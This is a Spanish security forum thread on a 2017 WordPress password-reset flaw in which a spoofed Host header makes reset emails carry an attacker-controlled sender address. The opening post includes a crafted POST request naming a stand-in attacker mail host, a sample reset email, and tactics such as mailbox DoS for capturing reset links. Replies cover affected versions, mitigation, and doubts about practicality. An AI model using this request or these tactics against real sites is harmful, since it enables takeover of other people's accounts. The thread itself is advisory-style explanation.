0-day en la función de reset de contraseñas de todas las versiones de Wordpress

Iniciado por HATI, Mayo 05, 2017, 04:54:43 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.


Recientemente, el 3 de mayo, se publicó una nueva vulnerabilidad (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) que afecta a todas las versiones de Wordpress, incluyendo la última versión 4.7.4, que puede permitir a un atacante resetear remotamente la contraseña y acceder con cualquier usuario.

La vulnerabilidad está en la página de solicitud de restablecimiento de contraseña, concretamente en la posibilidad de modificar el contenido de la variable SERVER_NAME en la función wp-includes/pluggable.php:

Código: php
if ( !isset( $from_email ) ) {

        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }

        $from_email = 'wordpress@' . $sitename;
}


Wordpress utiliza la variable SERVER_NAME para formar la cabecera From/Return-Path del correo.  El problema es que la mayoría de los servidores web, como Apache, por defecto setean SERVER_NAME con el hostname provisto por el cliente (dentro de la cabecera HTTP_HOST):

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como SERVER_NAME puede ser modificado, se podrá cambiar el Host en la cabecera:

Código: mail
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password


y el resultado es que $from_email en Wordpress será:

[email protected]

De esta manera, se generará un correo saliente con esa dirección en From/Return-Path:

Código: mail
------[ ejemplo de correo generado ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <[email protected]>
From: WordPress <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.
To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

-------------------------------


Si se intercepta este correo y/o se repele en destino para que sea enviado de vuelta a la dirección de correo maliciosa, se podrá obtener el enlace de reset y actuar en consecuencia.

El autor contempla tres escenarios:

- Si el atacante conoce previamente el buzón del usuario administrador, la dirección del buzón puede ser atacada por medio de DoS lo que hace que el correo de restablecimiento de contraseña sea rechazado o imposible de entregar. En este momento, el correo se enviará a la dirección construida por el atacante.

- La característica "autoresponder" de algunos buzones devolverá el contenido del mensaje como un archivo adjunto al remitente.

- Enviado repetidos mensajes para restablecer la contraseña al buzón de destino, forzando al usuario a responder a uno, cuando el contenido de la respuesta generalmente se refiere al cuerpo del mensaje anterior.

En definitiva, si se conoce el administrador o la dirección de correo electrónico de cualquier usuario de destino, se puede obtener el enlace de restablecimiento de contraseña por estos u otros métodos y, por ende, restablecer la contraseña de la cuenta de cualquier usuario.

De momento no hay una solución oficial, pero para paliar el problema se recomienda forzar un nombre estático para UseCanonicalName.


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Jugar o perder

Ingenioso lo del Dos, saludos colega Haití

Enviado desde mi HTC One mediante Tapatalk


Se sabe si afecta al Wordpress 4.7.5?  Tengo algunas webs que recientemente se han actualizado a esa versión y me interesa

Las versiones afectadas son:

WordPress Core <= 4.7.4

Dejo un link a la información completa del fallo donde se explica todo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Esto nos debería enseñar que tenemos que tener respeto a las variables de $_SERVER porque engañan. NO engañan de verdad pero al tener ese nombre podemos pensar que el usuario no las puede modificar. La lista ,creo que completa, es todas las que tienen "HTTP_" antes del nombre (si me dejo alguna me comentáis):

Código: php

'HTTP_ACCEPT'
'HTTP_ACCEPT_CHARSET'
'HTTP_ACCEPT_ENCODING'
'HTTP_ACCEPT_LANGUAGE'
'HTTP_CONNECTION'
'HTTP_HOST'
'HTTP_REFERER'
HTTP_REFERER as a feature. In short, it cannot really be trusted.
'HTTP_USER_AGENT'


Y la variables SERVER_NAME en la condicion abajo descrita en la ayuda de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

Código: php

Note: Under Apache 2, you must set UseCanonicalName = On and ServerName. Otherwise,
this value reflects the hostname supplied by the client, which can be spoofed.
It is not safe to rely on this value in security-dependent contexts.


No obstante explotar de verdad esto para capturar el email de confimación es súmamente complicado (a mi parecer). A ver quien es el listo que se curra un DOS a gmail o microsoft que es el tipo de correo que suele haber detras de la mayoría de admins y usuarios. Y el tema de que alguien conteste al correo, lo veo también poco práctico. Si bien el error es facil de reproducir, el utilizarlo para el mal y hacer un ataque no es tan fácil (según mi punto de vista).

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.